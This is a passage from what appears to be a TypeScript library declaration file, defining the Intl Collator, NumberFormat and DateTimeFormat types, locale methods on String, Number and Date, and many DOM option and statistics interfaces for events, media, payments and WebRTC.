string;\\n        numeric?: boolean;\\n        caseFirst?: string;\\n        sensitivity?: string;\\n        ignorePunctuation?: boolean;\\n    }\\n\\n    interface ResolvedCollatorOptions {\\n        locale: string;\\n        usage: string;\\n        sensitivity: string;\\n        ignorePunctuation: boolean;\\n        collation: string;\\n        caseFirst: string;\\n        numeric: boolean;\\n    }\\n\\n    interface Collator {\\n        compare(x: string, y: string): number;\\n        resolvedOptions(): ResolvedCollatorOptions;\\n    }\\n    var Collator: {\\n        new(locales?: string | string[], options?: CollatorOptions): Collator;\\n        (locales?: string | string[], options?: CollatorOptions): Collator;\\n        supportedLocalesOf(locales: string | string[], options?: CollatorOptions): string[];\\n    };\\n\\n    interface NumberFormatOptions {\\n        localeMatcher?: string;\\n        style?: string;\\n        currency?: string;\\n        currencyDisplay?: string;\\n        useGrouping?: boolean;\\n        minimumIntegerDigits?: number;\\n        minimumFractionDigits?: number;\\n        maximumFractionDigits?: number;\\n        minimumSignificantDigits?: number;\\n        maximumSignificantDigits?: number;\\n    }\\n\\n    interface ResolvedNumberFormatOptions {\\n        locale: string;\\n        numberingSystem: string;\\n        style: string;\\n        currency?: string;\\n        currencyDisplay?: string;\\n        minimumIntegerDigits: number;\\n        minimumFractionDigits: number;\\n        maximumFractionDigits: number;\\n        minimumSignificantDigits?: number;\\n        maximumSignificantDigits?: number;\\n        useGrouping: boolean;\\n    }\\n\\n    interface NumberFormat {\\n        format(value: number): string;\\n        resolvedOptions(): ResolvedNumberFormatOptions;\\n    }\\n    var NumberFormat: {\\n        new(locales?: string | string[], options?: NumberFormatOptions): NumberFormat;\\n        (locales?: string | string[], options?: NumberFormatOptions): NumberFormat;\\n        supportedLocalesOf(locales: string | string[], options?: NumberFormatOptions): string[];\\n    };\\n\\n    interface DateTimeFormatOptions {\\n        localeMatcher?: string;\\n        weekday?: string;\\n        era?: string;\\n        year?: string;\\n        month?: string;\\n        day?: string;\\n        hour?: string;\\n        minute?: string;\\n        second?: string;\\n        timeZoneName?: string;\\n        formatMatcher?: string;\\n        hour12?: boolean;\\n        timeZone?: string;\\n    }\\n\\n    interface ResolvedDateTimeFormatOptions {\\n        locale: string;\\n        calendar: string;\\n        numberingSystem: string;\\n        timeZone: string;\\n        hour12?: boolean;\\n        weekday?: string;\\n        era?: string;\\n        year?: string;\\n        month?: string;\\n        day?: string;\\n        hour?: string;\\n        minute?: string;\\n        second?: string;\\n        timeZoneName?: string;\\n    }\\n\\n    interface DateTimeFormat {\\n        format(date?: Date | number): string;\\n        resolvedOptions(): ResolvedDateTimeFormatOptions;\\n    }\\n    var DateTimeFormat: {\\n        new(locales?: string | string[], options?: DateTimeFormatOptions): DateTimeFormat;\\n        (locales?: string | string[], options?: DateTimeFormatOptions): DateTimeFormat;\\n        supportedLocalesOf(locales: string | string[], options?: DateTimeFormatOptions): string[];\\n    };\\n}\\n\\ninterface String {\\n    /**\\n      * Determines whether two strings are equivalent in the current or specified locale.\\n      * @param that String to compare to target string\\n      * @param locales A locale string or array of locale strings that contain one or more language or locale tags. If you include more than one locale string, list them in descending order of priority so that the first entry is the preferred locale. If you omit this parameter, the default locale of the JavaScript runtime is used. This parameter must conform to BCP 47 standards; see the Intl.Collator object for details.\\n      * @param options An object that contains one or more properties that specify comparison options. see the Intl.Collator object for details.\\n      */\\n    localeCompare(that: string, locales?: string | string[], options?: Intl.CollatorOptions): number;\\n}\\n\\ninterface Number {\\n    /**\\n      * Converts a number to a string by using the current or specified locale.\\n      * @param locales A locale string or array of locale strings that contain one or more language or locale tags. If you include more than one locale string, list them in descending order of priority so that the first entry is the preferred locale. If you omit this parameter, the default locale of the JavaScript runtime is used.\\n      * @param options An object that contains one or more properties that specify comparison options.\\n      */\\n    toLocaleString(locales?: string | string[], options?: Intl.NumberFormatOptions): string;\\n}\\n\\ninterface Date {\\n    /**\\n      * Converts a date and time to a string by using the current or specified locale.\\n      * @param locales A locale string or array of locale strings that contain one or more language or locale tags. If you include more than one locale string, list them in descending order of priority so that the first entry is the preferred locale. If you omit this parameter, the default locale of the JavaScript runtime is used.\\n      * @param options An object that contains one or more properties that specify comparison options.\\n      */\\n    toLocaleString(locales?: string | string[], options?: Intl.DateTimeFormatOptions): string;\\n    /**\\n      * Converts a date to a string by using the current or specified locale.\\n      * @param locales A locale string or array of locale strings that contain one or more language or locale tags. If you include more than one locale string, list them in descending order of priority so that the first entry is the preferred locale. If you omit this parameter, the default locale of the JavaScript runtime is used.\\n      * @param options An object that contains one or more properties that specify comparison options.\\n      */\\n    toLocaleDateString(locales?: string | string[], options?: Intl.DateTimeFormatOptions): string;\\n\\n    /**\\n      * Converts a time to a string by using the current or specified locale.\\n      * @param locales A locale string or array of locale strings that contain one or more language or locale tags. If you include more than one locale string, list them in descending order of priority so that the first entry is the preferred locale. If you omit this parameter, the default locale of the JavaScript runtime is used.\\n      * @param options An object that contains one or more properties that specify comparison options.\\n      */\\n    toLocaleTimeString(locales?: string | string[], options?: Intl.DateTimeFormatOptions): string;\\n}\\n\\n\\n\\n/////////////////////////////\\n/// DOM APIs\\n/////////////////////////////\\n\\ninterface Account {\\n    displayName?: string;\\n    id?: string;\\n    imageURL?: string;\\n    name?: string;\\n    rpDisplayName?: string;\\n}\\n\\ninterface Algorithm {\\n    name: string;\\n}\\n\\ninterface AnimationEventInit extends EventInit {\\n    animationName?: string;\\n    elapsedTime?: number;\\n}\\n\\ninterface AssertionOptions {\\n    allowList?: ScopedCredentialDescriptor[];\\n    extensions?: WebAuthnExtensions;\\n    rpId?: USVString;\\n    timeoutSeconds?: number;\\n}\\n\\ninterface CacheQueryOptions {\\n    cacheName?: string;\\n    ignoreMethod?: boolean;\\n    ignoreSearch?: boolean;\\n    ignoreVary?: boolean;\\n}\\n\\ninterface ClientData {\\n    challenge?: string;\\n    extensions?: WebAuthnExtensions;\\n    hashAlg?: string | Algorithm;\\n    origin?: string;\\n    rpId?: string;\\n    tokenBinding?: string;\\n}\\n\\ninterface CloseEventInit extends EventInit {\\n    code?: number;\\n    reason?: string;\\n    wasClean?: boolean;\\n}\\n\\ninterface CompositionEventInit extends UIEventInit {\\n    data?: string;\\n}\\n\\ninterface ConfirmSiteSpecificExceptionsInformation extends ExceptionInformation {\\n    arrayOfDomainStrings?: string[];\\n}\\n\\ninterface ConstrainBooleanParameters {\\n    exact?: boolean;\\n    ideal?: boolean;\\n}\\n\\ninterface ConstrainDOMStringParameters {\\n    exact?: string | string[];\\n    ideal?: string | string[];\\n}\\n\\ninterface ConstrainDoubleRange extends DoubleRange {\\n    exact?: number;\\n    ideal?: number;\\n}\\n\\ninterface ConstrainLongRange extends LongRange {\\n    exact?: number;\\n    ideal?: number;\\n}\\n\\ninterface ConstrainVideoFacingModeParameters {\\n    exact?: VideoFacingModeEnum | VideoFacingModeEnum[];\\n    ideal?: VideoFacingModeEnum | VideoFacingModeEnum[];\\n}\\n\\ninterface CustomEventInit extends EventInit {\\n    detail?: any;\\n}\\n\\ninterface DeviceAccelerationDict {\\n    x?: number;\\n    y?: number;\\n    z?: number;\\n}\\n\\ninterface DeviceLightEventInit extends EventInit {\\n    value?: number;\\n}\\n\\ninterface DeviceMotionEventInit extends EventInit {\\n    acceleration?: DeviceAccelerationDict;\\n    accelerationIncludingGravity?: DeviceAccelerationDict;\\n    interval?: number;\\n    rotationRate?: DeviceRotationRateDict;\\n}\\n\\ninterface DeviceOrientationEventInit extends EventInit {\\n    absolute?: boolean;\\n    alpha?: number;\\n    beta?: number;\\n    gamma?: number;\\n}\\n\\ninterface DeviceRotationRateDict {\\n    alpha?: number;\\n    beta?: number;\\n    gamma?: number;\\n}\\n\\ninterface DOMRectInit {\\n    height?: any;\\n    width?: any;\\n    x?: any;\\n    y?: any;\\n}\\n\\ninterface DoubleRange {\\n    max?: number;\\n    min?: number;\\n}\\n\\ninterface ErrorEventInit extends EventInit {\\n    colno?: number;\\n    error?: any;\\n    filename?: string;\\n    lineno?: number;\\n    message?: string;\\n}\\n\\ninterface EventInit {\\n    scoped?: boolean;\\n    bubbles?: boolean;\\n    cancelable?: boolean;\\n}\\n\\ninterface EventModifierInit extends UIEventInit {\\n    altKey?: boolean;\\n    ctrlKey?: boolean;\\n    metaKey?: boolean;\\n    modifierAltGraph?: boolean;\\n    modifierCapsLock?: boolean;\\n    modifierFn?: boolean;\\n    modifierFnLock?: boolean;\\n    modifierHyper?: boolean;\\n    modifierNumLock?: boolean;\\n    modifierOS?: boolean;\\n    modifierScrollLock?: boolean;\\n    modifierSuper?: boolean;\\n    modifierSymbol?: boolean;\\n    modifierSymbolLock?: boolean;\\n    shiftKey?: boolean;\\n}\\n\\ninterface ExceptionInformation {\\n    domain?: string;\\n}\\n\\ninterface FocusEventInit extends UIEventInit {\\n    relatedTarget?: EventTarget;\\n}\\n\\ninterface FocusNavigationEventInit extends EventInit {\\n    navigationReason?: string;\\n    originHeight?: number;\\n    originLeft?: number;\\n    originTop?: number;\\n    originWidth?: number;\\n}\\n\\ninterface FocusNavigationOrigin {\\n    originHeight?: number;\\n    originLeft?: number;\\n    originTop?: number;\\n    originWidth?: number;\\n}\\n\\ninterface GamepadEventInit extends EventInit {\\n    gamepad?: Gamepad;\\n}\\n\\ninterface GetNotificationOptions {\\n    tag?: string;\\n}\\n\\ninterface HashChangeEventInit extends EventInit {\\n    newURL?: string;\\n    oldURL?: string;\\n}\\n\\ninterface IDBIndexParameters {\\n    multiEntry?: boolean;\\n    unique?: boolean;\\n}\\n\\ninterface IDBObjectStoreParameters {\\n    autoIncrement?: boolean;\\n    keyPath?: IDBKeyPath;\\n}\\n\\ninterface IntersectionObserverEntryInit {\\n    boundingClientRect?: DOMRectInit;\\n    intersectionRect?: DOMRectInit;\\n    rootBounds?: DOMRectInit;\\n    target?: Element;\\n    time?: number;\\n}\\n\\ninterface IntersectionObserverInit {\\n    root?: Element;\\n    rootMargin?: string;\\n    threshold?: number | number[];\\n}\\n\\ninterface KeyAlgorithm {\\n    name?: string;\\n}\\n\\ninterface KeyboardEventInit extends EventModifierInit {\\n    code?: string;\\n    key?: string;\\n    location?: number;\\n    repeat?: boolean;\\n}\\n\\ninterface LongRange {\\n    max?: number;\\n    min?: number;\\n}\\n\\ninterface MediaEncryptedEventInit extends EventInit {\\n    initData?: ArrayBuffer;\\n    initDataType?: string;\\n}\\n\\ninterface MediaKeyMessageEventInit extends EventInit {\\n    message?: ArrayBuffer;\\n    messageType?: MediaKeyMessageType;\\n}\\n\\ninterface MediaKeySystemConfiguration {\\n    audioCapabilities?: MediaKeySystemMediaCapability[];\\n    distinctiveIdentifier?: MediaKeysRequirement;\\n    initDataTypes?: string[];\\n    persistentState?: MediaKeysRequirement;\\n    videoCapabilities?: MediaKeySystemMediaCapability[];\\n}\\n\\ninterface MediaKeySystemMediaCapability {\\n    contentType?: string;\\n    robustness?: string;\\n}\\n\\ninterface MediaStreamConstraints {\\n    audio?: boolean | MediaTrackConstraints;\\n    video?: boolean | MediaTrackConstraints;\\n}\\n\\ninterface MediaStreamErrorEventInit extends EventInit {\\n    error?: MediaStreamError;\\n}\\n\\ninterface MediaStreamEventInit extends EventInit {\\n    stream?: MediaStream;\\n}\\n\\ninterface MediaStreamTrackEventInit extends EventInit {\\n    track?: MediaStreamTrack;\\n}\\n\\ninterface MediaTrackCapabilities {\\n    aspectRatio?: number | DoubleRange;\\n    deviceId?: string;\\n    echoCancellation?: boolean[];\\n    facingMode?: string;\\n    frameRate?: number | DoubleRange;\\n    groupId?: string;\\n    height?: number | LongRange;\\n    sampleRate?: number | LongRange;\\n    sampleSize?: number | LongRange;\\n    volume?: number | DoubleRange;\\n    width?: number | LongRange;\\n}\\n\\ninterface MediaTrackConstraints extends MediaTrackConstraintSet {\\n    advanced?: MediaTrackConstraintSet[];\\n}\\n\\ninterface MediaTrackConstraintSet {\\n    aspectRatio?: number | ConstrainDoubleRange;\\n    deviceId?: string | string[] | ConstrainDOMStringParameters;\\n    echoCancelation?: boolean | ConstrainBooleanParameters;\\n    facingMode?: string | string[] | ConstrainDOMStringParameters;\\n    frameRate?: number | ConstrainDoubleRange;\\n    groupId?: string | string[] | ConstrainDOMStringParameters;\\n    height?: number | ConstrainLongRange;\\n    sampleRate?: number | ConstrainLongRange;\\n    sampleSize?: number | ConstrainLongRange;\\n    volume?: number | ConstrainDoubleRange;\\n    width?: number | ConstrainLongRange;\\n}\\n\\ninterface MediaTrackSettings {\\n    aspectRatio?: number;\\n    deviceId?: string;\\n    echoCancellation?: boolean;\\n    facingMode?: string;\\n    frameRate?: number;\\n    groupId?: string;\\n    height?: number;\\n    sampleRate?: number;\\n    sampleSize?: number;\\n    volume?: number;\\n    width?: number;\\n}\\n\\ninterface MediaTrackSupportedConstraints {\\n    aspectRatio?: boolean;\\n    deviceId?: boolean;\\n    echoCancellation?: boolean;\\n    facingMode?: boolean;\\n    frameRate?: boolean;\\n    groupId?: boolean;\\n    height?: boolean;\\n    sampleRate?: boolean;\\n    sampleSize?: boolean;\\n    volume?: boolean;\\n    width?: boolean;\\n}\\n\\ninterface MessageEventInit extends EventInit {\\n    lastEventId?: string;\\n    channel?: string;\\n    data?: any;\\n    origin?: string;\\n    ports?: MessagePort[];\\n    source?: Window;\\n}\\n\\ninterface MouseEventInit extends EventModifierInit {\\n    button?: number;\\n    buttons?: number;\\n    clientX?: number;\\n    clientY?: number;\\n    relatedTarget?: EventTarget;\\n    screenX?: number;\\n    screenY?: number;\\n}\\n\\ninterface MSAccountInfo {\\n    accountImageUri?: string;\\n    accountName?: string;\\n    rpDisplayName?: string;\\n    userDisplayName?: string;\\n    userId?: string;\\n}\\n\\ninterface MSAudioLocalClientEvent extends MSLocalClientEventBase {\\n    cpuInsufficientEventRatio?: number;\\n    deviceCaptureNotFunctioningEventRatio?: number;\\n    deviceClippingEventRatio?: number;\\n    deviceEchoEventRatio?: number;\\n    deviceGlitchesEventRatio?: number;\\n    deviceHalfDuplexAECEventRatio?: number;\\n    deviceHowlingEventCount?: number;\\n    deviceLowSNREventRatio?: number;\\n    deviceLowSpeechLevelEventRatio?: number;\\n    deviceMultipleEndpointsEventCount?: number;\\n    deviceNearEndToEchoRatioEventRatio?: number;\\n    deviceRenderMuteEventRatio?: number;\\n    deviceRenderNotFunctioningEventRatio?: number;\\n    deviceRenderZeroVolumeEventRatio?: number;\\n    networkDelayEventRatio?: number;\\n    networkSendQualityEventRatio?: number;\\n}\\n\\ninterface MSAudioRecvPayload extends MSPayloadBase {\\n    burstLossLength1?: number;\\n    burstLossLength2?: number;\\n    burstLossLength3?: number;\\n    burstLossLength4?: number;\\n    burstLossLength5?: number;\\n    burstLossLength6?: number;\\n    burstLossLength7?: number;\\n    burstLossLength8OrHigher?: number;\\n    fecRecvDistance1?: number;\\n    fecRecvDistance2?: number;\\n    fecRecvDistance3?: number;\\n    packetReorderDepthAvg?: number;\\n    packetReorderDepthMax?: number;\\n    packetReorderRatio?: number;\\n    ratioCompressedSamplesAvg?: number;\\n    ratioConcealedSamplesAvg?: number;\\n    ratioStretchedSamplesAvg?: number;\\n    samplingRate?: number;\\n    signal?: MSAudioRecvSignal;\\n}\\n\\ninterface MSAudioRecvSignal {\\n    initialSignalLevelRMS?: number;\\n    recvNoiseLevelCh1?: number;\\n    recvSignalLevelCh1?: number;\\n    renderLoopbackSignalLevel?: number;\\n    renderNoiseLevel?: number;\\n    renderSignalLevel?: number;\\n}\\n\\ninterface MSAudioSendPayload extends MSPayloadBase {\\n    audioFECUsed?: boolean;\\n    samplingRate?: number;\\n    sendMutePercent?: number;\\n    signal?: MSAudioSendSignal;\\n}\\n\\ninterface MSAudioSendSignal {\\n    noiseLevel?: number;\\n    sendNoiseLevelCh1?: number;\\n    sendSignalLevelCh1?: number;\\n}\\n\\ninterface MSConnectivity {\\n    iceType?: MSIceType;\\n    iceWarningFlags?: MSIceWarningFlags;\\n    relayAddress?: MSRelayAddress;\\n}\\n\\ninterface MSCredentialFilter {\\n    accept?: MSCredentialSpec[];\\n}\\n\\ninterface MSCredentialParameters {\\n    type?: MSCredentialType;\\n}\\n\\ninterface MSCredentialSpec {\\n    id?: string;\\n    type?: MSCredentialType;\\n}\\n\\ninterface MSDelay {\\n    roundTrip?: number;\\n    roundTripMax?: number;\\n}\\n\\ninterface MSDescription extends RTCStats {\\n    connectivity?: MSConnectivity;\\n    deviceDevName?: string;\\n    localAddr?: MSIPAddressInfo;\\n    networkconnectivity?: MSNetworkConnectivityInfo;\\n    reflexiveLocalIPAddr?: MSIPAddressInfo;\\n    remoteAddr?: MSIPAddressInfo;\\n    transport?: RTCIceProtocol;\\n}\\n\\ninterface MSFIDOCredentialParameters extends MSCredentialParameters {\\n    algorithm?: string | Algorithm;\\n    authenticators?: AAGUID[];\\n}\\n\\ninterface MSIceWarningFlags {\\n    allocationMessageIntegrityFailed?: boolean;\\n    alternateServerReceived?: boolean;\\n    connCheckMessageIntegrityFailed?: boolean;\\n    connCheckOtherError?: boolean;\\n    fipsAllocationFailure?: boolean;\\n    multipleRelayServersAttempted?: boolean;\\n    noRelayServersConfigured?: boolean;\\n    portRangeExhausted?: boolean;\\n    pseudoTLSFailure?: boolean;\\n    tcpNatConnectivityFailed?: boolean;\\n    tcpRelayConnectivityFailed?: boolean;\\n    turnAuthUnknownUsernameError?: boolean;\\n    turnTcpAllocateFailed?: boolean;\\n    turnTcpSendFailed?: boolean;\\n    turnTcpTimedOut?: boolean;\\n    turnTurnTcpConnectivityFailed?: boolean;\\n    turnUdpAllocateFailed?: boolean;\\n    turnUdpSendFailed?: boolean;\\n    udpLocalConnectivityFailed?: boolean;\\n    udpNatConnectivityFailed?: boolean;\\n    udpRelayConnectivityFailed?: boolean;\\n    useCandidateChecksFailed?: boolean;\\n}\\n\\ninterface MSIPAddressInfo {\\n    ipAddr?: string;\\n    manufacturerMacAddrMask?: string;\\n    port?: number;\\n}\\n\\ninterface MSJitter {\\n    interArrival?: number;\\n    interArrivalMax?: number;\\n    interArrivalSD?: number;\\n}\\n\\ninterface MSLocalClientEventBase extends RTCStats {\\n    networkBandwidthLowEventRatio?: number;\\n    networkReceiveQualityEventRatio?: number;\\n}\\n\\ninterface MSNetwork extends RTCStats {\\n    delay?: MSDelay;\\n    jitter?: MSJitter;\\n    packetLoss?: MSPacketLoss;\\n    utilization?: MSUtilization;\\n}\\n\\ninterface MSNetworkConnectivityInfo {\\n    linkspeed?: number;\\n    networkConnectionDetails?: string;\\n    vpn?: boolean;\\n}\\n\\ninterface MSNetworkInterfaceType {\\n    interfaceTypeEthernet?: boolean;\\n    interfaceTypePPP?: boolean;\\n    interfaceTypeTunnel?: boolean;\\n    interfaceTypeWireless?: boolean;\\n    interfaceTypeWWAN?: boolean;\\n}\\n\\ninterface MSOutboundNetwork extends MSNetwork {\\n    appliedBandwidthLimit?: number;\\n}\\n\\ninterface MSPacketLoss {\\n    lossRate?: number;\\n    lossRateMax?: number;\\n}\\n\\ninterface MSPayloadBase extends RTCStats {\\n    payloadDescription?: string;\\n}\\n\\ninterface MSPortRange {\\n    max?: number;\\n    min?: number;\\n}\\n\\ninterface MSRelayAddress {\\n    port?: number;\\n    relayAddress?: string;\\n}\\n\\ninterface MSSignatureParameters {\\n    userPrompt?: string;\\n}\\n\\ninterface MSTransportDiagnosticsStats extends RTCStats {\\n    allocationTimeInMs?: number;\\n    baseAddress?: string;\\n    baseInterface?: MSNetworkInterfaceType;\\n    iceRole?: RTCIceRole;\\n    iceWarningFlags?: MSIceWarningFlags;\\n    interfaces?: MSNetworkInterfaceType;\\n    localAddress?: string;\\n    localAddrType?: MSIceAddrType;\\n    localInterface?: MSNetworkInterfaceType;\\n    localMR?: string;\\n    localMRTCPPort?: number;\\n    localSite?: string;\\n    msRtcEngineVersion?: string;\\n    networkName?: string;\\n    numConsentReqReceived?: number;\\n    numConsentReqSent?: number;\\n    numConsentRespReceived?: number;\\n    numConsentRespSent?: number;\\n    portRangeMax?: number;\\n    portRangeMin?: number;\\n    protocol?: RTCIceProtocol;\\n    remoteAddress?: string;\\n    remoteAddrType?: MSIceAddrType;\\n    remoteMR?: string;\\n    remoteMRTCPPort?: number;\\n    remoteSite?: string;\\n    rtpRtcpMux?: boolean;\\n    stunVer?: number;\\n}\\n\\ninterface MSUtilization {\\n    bandwidthEstimation?: number;\\n    bandwidthEstimationAvg?: number;\\n    bandwidthEstimationMax?: number;\\n    bandwidthEstimationMin?: number;\\n    bandwidthEstimationStdDev?: number;\\n    packets?: number;\\n}\\n\\ninterface MSVideoPayload extends MSPayloadBase {\\n    durationSeconds?: number;\\n    resolution?: string;\\n    videoBitRateAvg?: number;\\n    videoBitRateMax?: number;\\n    videoFrameRateAvg?: number;\\n    videoPacketLossRate?: number;\\n}\\n\\ninterface MSVideoRecvPayload extends MSVideoPayload {\\n    lowBitRateCallPercent?: number;\\n    lowFrameRateCallPercent?: number;\\n    recvBitRateAverage?: number;\\n    recvBitRateMaximum?: number;\\n    recvCodecType?: string;\\n    recvFpsHarmonicAverage?: number;\\n    recvFrameRateAverage?: number;\\n    recvNumResSwitches?: number;\\n    recvReorderBufferMaxSuccessfullyOrderedExtent?: number;\\n    recvReorderBufferMaxSuccessfullyOrderedLateTime?: number;\\n    recvReorderBufferPacketsDroppedDueToBufferExhaustion?: number;\\n    recvReorderBufferPacketsDroppedDueToTimeout?: number;\\n    recvReorderBufferReorderedPackets?: number;\\n    recvResolutionHeight?: number;\\n    recvResolutionWidth?: number;\\n    recvVideoStreamsMax?: number;\\n    recvVideoStreamsMin?: number;\\n    recvVideoStreamsMode?: number;\\n    reorderBufferTotalPackets?: number;\\n    videoFrameLossRate?: number;\\n    videoPostFECPLR?: number;\\n    videoResolutions?: MSVideoResolutionDistribution;\\n}\\n\\ninterface MSVideoResolutionDistribution {\\n    cifQuality?: number;\\n    h1080Quality?: number;\\n    h1440Quality?: number;\\n    h2160Quality?: number;\\n    h720Quality?: number;\\n    vgaQuality?: number;\\n}\\n\\ninterface MSVideoSendPayload extends MSVideoPayload {\\n    sendBitRateAverage?: number;\\n    sendBitRateMaximum?: number;\\n    sendFrameRateAverage?: number;\\n    sendResolutionHeight?: number;\\n    sendResolutionWidth?: number;\\n    sendVideoStreamsMax?: number;\\n}\\n\\ninterface MsZoomToOptions {\\n    animate?: string;\\n    contentX?: number;\\n    contentY?: number;\\n    scaleFactor?: number;\\n    viewportX?: string;\\n    viewportY?: string;\\n}\\n\\ninterface MutationObserverInit {\\n    attributeFilter?: string[];\\n    attributeOldValue?: boolean;\\n    attributes?: boolean;\\n    characterData?: boolean;\\n    characterDataOldValue?: boolean;\\n    childList?: boolean;\\n    subtree?: boolean;\\n}\\n\\ninterface NotificationOptions {\\n    body?: string;\\n    dir?: NotificationDirection;\\n    icon?: string;\\n    lang?: string;\\n    tag?: string;\\n}\\n\\ninterface ObjectURLOptions {\\n    oneTimeOnly?: boolean;\\n}\\n\\ninterface PaymentCurrencyAmount {\\n    currency?: string;\\n    currencySystem?: string;\\n    value?: string;\\n}\\n\\ninterface PaymentDetails {\\n    displayItems?: PaymentItem[];\\n    error?: string;\\n    modifiers?: PaymentDetailsModifier[];\\n    shippingOptions?: PaymentShippingOption[];\\n    total?: PaymentItem;\\n}\\n\\ninterface PaymentDetailsModifier {\\n    additionalDisplayItems?: PaymentItem[];\\n    data?: any;\\n    supportedMethods?: string[];\\n    total?: PaymentItem;\\n}\\n\\ninterface PaymentItem {\\n    amount?: PaymentCurrencyAmount;\\n    label?: string;\\n    pending?: boolean;\\n}\\n\\ninterface PaymentMethodData {\\n    data?: any;\\n    supportedMethods?: string[];\\n}\\n\\ninterface PaymentOptions {\\n    requestPayerEmail?: boolean;\\n    requestPayerName?: boolean;\\n    requestPayerPhone?: boolean;\\n    requestShipping?: boolean;\\n    shippingType?: string;\\n}\\n\\ninterface PaymentRequestUpdateEventInit extends EventInit {\\n}\\n\\ninterface PaymentShippingOption {\\n    amount?: PaymentCurrencyAmount;\\n    id?: string;\\n    label?: string;\\n    selected?: boolean;\\n}\\n\\ninterface PeriodicWaveConstraints {\\n    disableNormalization?: boolean;\\n}\\n\\ninterface PointerEventInit extends MouseEventInit {\\n    height?: number;\\n    isPrimary?: boolean;\\n    pointerId?: number;\\n    pointerType?: string;\\n    pressure?: number;\\n    tiltX?: number;\\n    tiltY?: number;\\n    width?: number;\\n}\\n\\ninterface PopStateEventInit extends EventInit {\\n    state?: any;\\n}\\n\\ninterface PositionOptions {\\n    enableHighAccuracy?: boolean;\\n    maximumAge?: number;\\n    timeout?: number;\\n}\\n\\ninterface ProgressEventInit extends EventInit {\\n    lengthComputable?: boolean;\\n    loaded?: number;\\n    total?: number;\\n}\\n\\ninterface PushSubscriptionOptionsInit {\\n    applicationServerKey?: any;\\n    userVisibleOnly?: boolean;\\n}\\n\\ninterface RegistrationOptions {\\n    scope?: string;\\n}\\n\\ninterface RequestInit {\\n    body?: any;\\n    cache?: RequestCache;\\n    credentials?: RequestCredentials;\\n    headers?: any;\\n    integrity?: string;\\n    keepalive?: boolean;\\n    method?: string;\\n    mode?: RequestMode;\\n    redirect?: RequestRedirect;\\n    referrer?: string;\\n    referrerPolicy?: ReferrerPolicy;\\n    window?: any;\\n}\\n\\ninterface ResponseInit {\\n    headers?: any;\\n    status?: number;\\n    statusText?: string;\\n}\\n\\ninterface RTCConfiguration {\\n    bundlePolicy?: RTCBundlePolicy;\\n    iceServers?: RTCIceServer[];\\n    iceTransportPolicy?: RTCIceTransportPolicy;\\n    peerIdentity?: string;\\n}\\n\\ninterface RTCDtlsFingerprint {\\n    algorithm?: string;\\n    value?: string;\\n}\\n\\ninterface RTCDtlsParameters {\\n    fingerprints?: RTCDtlsFingerprint[];\\n    role?: RTCDtlsRole;\\n}\\n\\ninterface RTCDTMFToneChangeEventInit extends EventInit {\\n    tone?: string;\\n}\\n\\ninterface RTCIceCandidateAttributes extends RTCStats {\\n    addressSourceUrl?: string;\\n    candidateType?: RTCStatsIceCandidateType;\\n    ipAddress?: string;\\n    portNumber?: number;\\n    priority?: number;\\n    transport?: string;\\n}\\n\\ninterface RTCIceCandidateComplete {\\n}\\n\\ninterface RTCIceCandidateDictionary {\\n    foundation?: string;\\n    ip?: string;\\n    msMTurnSessionId?: string;\\n    port?: number;\\n    priority?: number;\\n    protocol?: RTCIceProtocol;\\n    relatedAddress?: string;\\n    relatedPort?: number;\\n    tcpType?: RTCIceTcpCandidateType;\\n    type?: RTCIceCandidateType;\\n}\\n\\ninterface RTCIceCandidateInit {\\n    candidate?: string;\\n    sdpMid?: string;\\n    sdpMLineIndex?: number;\\n}\\n\\ninterface RTCIceCandidatePair {\\n    local?: RTCIceCandidateDictionary;\\n    remote?: RTCIceCandidateDictionary;\\n}\\n\\ninterface RTCIceCandidatePairStats extends RTCStats {\\n    availableIncomingBitrate?: number;\\n    availableOutgoingBitrate?: number;\\n    bytesReceived?: number;\\n    bytesSent?: number;\\n    localCandidateId?: string;\\n    nominated?: boolean;\\n    priority?: number;\\n    readable?: boolean;\\n    remoteCandidateId?: string;\\n    roundTripTime?: number;\\n    state?: RTCStatsIceCandidatePairState;\\n    transportId?: string;\\n    writable?: boolean;\\n}\\n\\ninterface RTCIceGatherOptions {\\n    gatherPolicy?: RTCIceGatherPolicy;\\n    iceservers?: RTCIceServer[];\\n    portRange?: MSPortRange;\\n}\\n\\ninterface RTCIceParameters {\\n    iceLite?: boolean;\\n    password?: string;\\n    usernameFragment?: string;\\n}\\n\\ninterface RTCIceServer {\\n    credential?: string;\\n    urls?: any;\\n    username?: string;\\n}\\n\\ninterface RTCInboundRTPStreamStats extends RTCRTPStreamStats {\\n    bytesReceived?: number;\\n    fractionLost?: number;\\n    jitter?: number;\\n    packetsLost?: number;\\n    packetsReceived?: number;\\n}\\n\\ninterface RTCMediaStreamTrackStats extends RTCStats {\\n    audioLevel?: number;\\n    echoReturnLoss?: number;\\n    echoReturnLossEnhancement?: number;\\n    frameHeight?: number;\\n    framesCorrupted?: number;\\n    framesDecoded?: number;\\n    framesDropped?: number;\\n    framesPerSecond?: number;\\n    framesReceived?: number;\\n    framesSent?: number;\\n    frameWidth?: number;\\n    remoteSource?: boolean;\\n    ssrcIds?: string[];\\n    trackIdentifier?: string;\\n}\\n\\ninterface RTCOfferOptions {\\n    iceRestart?: boolean;\\n    offerToReceiveAudio?: number;\\n    offerToReceiveVideo?: number;\\n    voiceActivityDetection?: boolean;\\n}\\n\\ninterface RTCOutboundRTPStreamStats extends RTCRTPStreamStats {\\n    bytesSent?: number;\\n    packetsSent?: number;\\n    roundTripTime?: number;\\n    targetBitrate?: number;\\n}\\n\\ninterface RTCPeerConnectionIceEventInit extends EventInit {\\n    candidate?: RTCIceCandidate;\\n}\\n\\ninterface RTCRtcpFeedback {\\n    parameter?: string;\\n    type?: string;\\n}\\n\\ninterface RTCRtcpParameters {\\n    cname?: string;\\n    mux?: boolean;\\n    reducedSize?: boolean;\\n    ssrc?: number;\\n}\\n\\ninterface RTCRtpCapabilities {\\n    codecs?: RTCRtpCodecCapability[];\\n    fecMechanisms?: string[];\\n    headerExtensions?: RTCRtpHeaderExtension[];\\n}\\n\\ninterface RTCRtpCodecCapability {\\n    clockRate?: number;\\n    kind?: string;\\n    maxptime?: number;\\n    maxSpatialLayers?: number;\\n    maxTemporalLayers?: number;\\n    name?: string;\\n    numChannels?: number;\\n    options?: any;\\n    parameters?: any;\\n    preferredPayloadType?: number;\\n    ptime?: number;\\n    rtcpFeedback?: RTCRtcpFeedback[];\\n    svcMultiStreamSupport?: boolean;\\n}\\n\\ninterface RTCRtpCodecParameters {\\n    clockRate?: number;\\n    maxptime?: number;\\n    name?: string;\\n    numChannels?: number;\\n    parameters?: any;\\n    payloadType?: any;\\n    ptime?: number;\\n    